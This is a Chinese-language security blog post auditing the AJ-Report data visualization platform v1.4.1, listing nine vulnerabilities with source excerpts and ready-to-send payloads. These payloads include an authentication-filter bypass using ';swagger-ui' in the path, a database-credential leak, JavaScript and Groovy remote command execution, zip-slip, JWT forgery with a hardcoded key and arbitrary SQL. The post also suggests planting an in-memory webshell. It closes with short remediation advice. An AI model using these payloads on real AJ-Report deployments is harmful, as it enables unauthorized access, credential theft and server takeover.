长亭百川云 - 文章详情

Aj-report 二次就业

黑伞安全

67

2024-07-13

微信公众号:黑伞安全
关注可了解更多的网络安全技术分享。如有问题或建议,请公众号留言;
如果你觉得挖不到src漏洞,希望黑伞安全知识星球对你有帮助,欢迎加入[1]

内容目录

aj-report 二次就业0x01 filter 绕过0x02 sql 信息泄漏0x03 js执行命令0x04 validationRules 命令执行0x05 zip-slip0x06 大屏分享信息泄漏0x07 java代码执行0x08 jwt 绕过登录0x09 sql问题修复意见

aj-report 二次就业

最新先知有人发了aj-report文章,看了看,是一个filter绕过,还有jwt,竟然还没修,这是两年前发表的AJ-Report_RCE。aj-report是我两年前学习代码审计审计的第一套代码,那时候藏了一些洞没写,所以现在重新看一看。环境v1.4.1。

0x01 filter 绕过

com.anjiplus.template.gaea.business.filter.TokenFilter.java



解释

   `public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {           HttpServletRequest request = (HttpServletRequest) servletRequest;           HttpServletResponse response = (HttpServletResponse) servletResponse;           String uri = request.getRequestURI();              // TODO 暂时先不校验 直接放行           /*if (true) {               filterChain.doFilter(request, response);               return;           }*/              //OPTIONS直接放行           if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {               filterChain.doFilter(request, response);               return;           }              // swagger相关的直接放行           if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {               filterChain.doFilter(request, response);               return;           }`
bypass payload  
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1  

这获取了URL,然后判断是否包含“swagger-ui”或着”swagger-resources”,包含直接放行。

没什么好说的,鉴权绕过。

0x02 sql 信息泄漏

com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList



解释

@GetMapping({"/pageList"})
@Permission(
code = "query",
name = "查询"
)
@GaeaAuditLog(
pageTitle = "查询",
isSaveResponseData = false
)
public ResponseBean pageList(P param) {
IPage<T> iPage = this.getService().page(param);
List<T> records = iPage.getRecords();
List<D> list = GaeaBeanUtils.copyList(records, this.getDTO().getClass());
this.pageResultHandler(list);
Page<D> pageDto = new Page();
pageDto.setCurrent(iPage.getCurrent()).setRecords(list).setPages(iPage.getPages()).setTotal(iPage.getTotal()).setSize(iPage.getSize());
return this.responseSuccessWithData(pageDto);
}


`   `

直接查询dataSource的信息,然后把Dto信息全部直接放回,造成泄漏



public Page<T> setRecords(List<T> records) {
this.records = records;
return this;

}

protected List<T\> records;


Dto里面存在Collections集合,直接把配置信息放回出来。

结合一下,可以拿到数据库账号密码

/;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10  

0x03 js执行命令

参考两年前发表的AJ-Report_RCE,(https://mp.weixin.qq.com/s/HsH\_nEI5SyOP\_Y9Qbm0A1w)

没有修复。

第一个点 (validationRules参数校验点)

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

        boolean verification = dataSetParamService.verification(dto.getDataSetParamDtoList(), null);  
        if (!verification) {  
            throw BusinessExceptionBuilder.build(ResponseCode.RULE_FIELDS_CHECK_ERROR);  
        }

看方法实现

 public Object verification(DataSetParamDto dataSetParamDto) {  
  
        String validationRules = dataSetParamDto.getValidationRules();  
        if (StringUtils.isNotBlank(validationRules)) {  
            try {  
                engine.eval(validationRules);  
                if(engine instanceof Invocable){  
                    Invocable invocable = (Invocable) engine;  
                    Object exec = invocable.invokeFunction("verification", dataSetParamDto);  
                    ObjectMapper objectMapper = new ObjectMapper();  
                    if (exec instanceof Boolean) {  
                        return objectMapper.convertValue(exec, Boolean.class);  
                    }else {  
                        return objectMapper.convertValue(exec, String.class);  
                    }  
  
                }

然后执行。

第二个点(js脚本)

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.JsTransformServiceImpl#getValueFromJs.java

public List<JSONObject> transform(DataSetTransformDto def, List<JSONObject> data) {  
        return getValueFromJs(def,data);  
    }  
  
    private List<JSONObject> getValueFromJs(DataSetTransformDto def, List<JSONObject> data) {  
        String js = def.getTransformScript();  
        try {  
            engine.eval(js);  
            if(engine instanceof Invocable){  
                Invocable invocable = (Invocable) engine;  
                Object dataTransform = invocable.invokeFunction("dataTransform", data);  
                if (dataTransform instanceof List) {  
                    return (List<JSONObject>) dataTransform;  
                }  
                //前端js自定义的数组[{"aa":"bb"}]解析后变成{"0":{"aa":"bb"}}  
                ScriptObjectMirror scriptObjectMirror = (ScriptObjectMirror) dataTransform;  
                List<JSONObject> result = new ArrayList<>();  
                scriptObjectMirror.forEach((key, value) -> {  
                    ScriptObjectMirror valueObject = (ScriptObjectMirror) value;  
                    JSONObject jsonObject = new JSONObject();  
                    jsonObject.putAll(valueObject);  
                    result.add(jsonObject);  
                });  
                return result;  
            }  

这里两个地方都可以,也根本不用绕过。

poc:

{"dynSentence": "{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTransform\",\"method\":\"GET\",\"header\":\"{\\\"Content-Type\\\":\\\"application/json;charset=UTF-8\\\"}\",\"body\":\"\"}","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":2,"validationRules":"function dataTransform(){\nvar x=java.lang.Runtime.getRuntime().exec(\"open -a calculator\")\n}"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"http"}  

0x04 validationRules 命令执行

com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verification.java

@PostMapping("/verification")  
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {  
    DataSetParamDto dto \= new DataSetParamDto();  
    dto.setSampleItem(param.getSampleItem());  
    dto.setValidationRules(param.getValidationRules());  
    return responseSuccessWithData(dataSetParamService.verification(dto));  
}

其实看上面就知道,js的规则,然后走到eval。

com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto)

对应实现类,有绕过,套娃就行。

dto里面设置validationRules就行。

{"sampleItem":"1","validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"}  

0x05 zip-slip

com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard.java

@PostMapping("/import/{reportCode}")  
@Permission(code = "import", name = "导入大屏")  
public ResponseBean importDashboard(@RequestParam("file") MultipartFile file, @PathVariable("reportCode") String reportCode) {  
    reportDashboardService.importDashboard(file, reportCode);  
    return ResponseBean.builder().build();  
}  

对应的controller,传file流和code就好

com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard 实现类

public void importDashboard(MultipartFile file, String reportCode) {  
    log.info("导入开始,{}", reportCode);  
    //1.组装临时目录,/app/disk/upload/zip/临时文件夹  
    String path \= dictPath \+ ZIP\_PATH \+ UuidUtil.generateShortUuid();  
    //2.解压  
    FileUtil.decompress(file, path);  
    // path/uuid/  
    File parentPath \= new File(path);  
    //获取打包的第一层目录  
    File firstFile \= parentPath.listFiles()\[0\];  
  
    File\[\] files \= firstFile.listFiles();  
  
    //定义map  
    Map<String, String\> fileMap \= new HashMap<>();  
    String content \= "";  
  
    for (int i \= 0; i < files.length; i++) {  
        File childFile \= files\[i\];  
        if (JSON\_PATH.equals(childFile.getName())) {  
            //json文件  
            content \= FileUtil.readFile(childFile);  
        } else if ("image".equals(childFile.getName())) {  
            File\[\] imageFiles \= childFile.listFiles();  
            //所有需要上传的图片  
            for (File imageFile : imageFiles) {  
                //查看是否存在此image  
                String fileName \= imageFile.getName().split("\\\\.")\[0\];  
                //根据fileId,从gaea\_file中读出filePath  
                LambdaQueryWrapper<GaeaFile\> queryWrapper \= Wrappers.lambdaQuery();  
                queryWrapper.eq(GaeaFile::getFileId, fileName);  
                GaeaFile gaeaFile \= gaeaFileService.selectOne(queryWrapper);  
                String uploadPath;  
                if (null \== gaeaFile) {  
                    GaeaFile upload \= gaeaFileService.upload(imageFile);  
                    log.info("存入图片: {}", upload.getFilePath());  
                    uploadPath \= upload.getUrlPath();  
                }else {  
                    uploadPath \= gaeaFile.getUrlPath();  
                }  
                fileMap.put(fileName, uploadPath);  
            }  
        }  
  
    }  

public static void decompress(MultipartFile zipFile, String dstPath) {  
    try {  
        File dir \= new File(dstPath);  
        if (!dir.exists()){  
            dir.mkdirs();  
        }  
        String path \= dir.getPath();  
        String absolutePath \= dir.getAbsolutePath();  
        File file \= new File(dir.getAbsolutePath() + File.separator \+ zipFile.getOriginalFilename());  
        zipFile.transferTo(file);  
        decompress(new ZipFile(file), dstPath);  
        //解压完删除  
        file.delete();  
    } catch (IOException e) {  
        log.error("", e);  
        throw BusinessExceptionBuilder.build(ResponseCode.FILE\_OPERATION\_FAILED, e.getMessage());  
    }  
}

没有的zipEntry进行../ 过滤,导致zip目录穿越。

然后ssh 指定私钥连接。

0x06 大屏分享信息泄漏

com.anjiplus.template.gaea.business.modules.reportshare.controller.ReportShareController#detailByCode

@GetMapping({"/detailByCode"})  
@Permission(code = "detail", name = "明细")  
public ResponseBean detailByCode(@RequestParam("shareCode") String shareCode) {  
    return ResponseBean.builder().data(reportShareService.detailByCode(shareCode)).build();  
}  

对象实现类

public ReportShare detailByCode(String shareCode) {  
    LambdaQueryWrapper<ReportShare\> wrapper \= Wrappers.lambdaQuery();  
    wrapper.eq(ReportShare::getShareCode, shareCode);  
    wrapper.eq(ReportShare::getEnableFlag, EnableFlagEnum.ENABLE.getCodeValue());  
    ReportShare reportShare \= selectOne(wrapper);  
    if (null \== reportShare) {  
        throw BusinessExceptionBuilder.build(ResponseCode.REPORT\_SHARE\_LINK\_INVALID);  
    }  
    //解析jwt token,获取密码  
    String password \= JwtUtil.getPassword(reportShare.getShareToken());  
    if (StringUtils.isNotBlank(password)) {  
        //md5加密返回  
        reportShare.setSharePassword(MD5Util.encrypt(password));  
    }  
    return reportShare;  
}

根据shareCode可以获取到查询信息,然后加密后直接放回

jwt可以直接解密

直接可以获得分享密码。

0x07 java代码执行

还是数据集那个点,走java方式。

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

对应实现类

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.DataSetTransformServiceImpl#transform

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.GroovyTransformServiceImpl#transform

最后会来到GroovyClassLoader,进行处理,也就是我们写一个类给GroovyClassLoader加载就好了

`package com.anjiplus.template.gaea.business;      import com.alibaba.fastjson.JSONObject;   import com.anjiplus.template.gaea.business.modules.datasettransform.service.IGroovyHandler;      import java.io.IOException;   import  java.lang.Runtime;   import java.util.Arrays;   import java.util.List;   import java.util.Scanner;      public class test implements IGroovyHandler {       @Override       public List<String> transform(List<JSONObject> data) throws IOException {           String execResult = new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();           return Arrays.asList(execResult.split("\\s+"));       }   }   `

能写代码,那就打下内存马吧。

0x08 jwt 绕过登录

com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login

com.anji.plus.gaea.utils.JwtBean#createToken(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String)

com.anji.plus.gaea.GaeaProperties.Security#jwtSecret

这里密钥是写在依赖包下,无法修改

这一块得修改一下

jwt验证只校验用户名,这边key没法改,随便伪造

具体参考(https://mp.weixin.qq.com/s/HsH\_nEI5SyOP\_Y9Qbm0A1w)

0x09 sql问题

本质是没做用户权限校验,导致任何人都能操作,由于有filter绕过,就写出来吧

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

还是这个点

从DTO里面获取参数,然后查询

{"sourceCode":"utf_8","dynSentence":"show DATABASES","dataSetParamDtoList":[],"dataSetTransformDtoList":[],"setType":"sql"}  

也就是可以直接利用sql修改账号密码。

修复意见

接口健全缺失,主要靠filter,一些重要的接口,权限缺失,如/dataSource、/dataSet下的接口,匿名用户也可以操作,filter建议直接使用getServletPath(),或者重写一下。

jwt的认证密钥是写在依赖包里面,无法修改.

返回包里面的DTO,把敏感字段执行加密。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2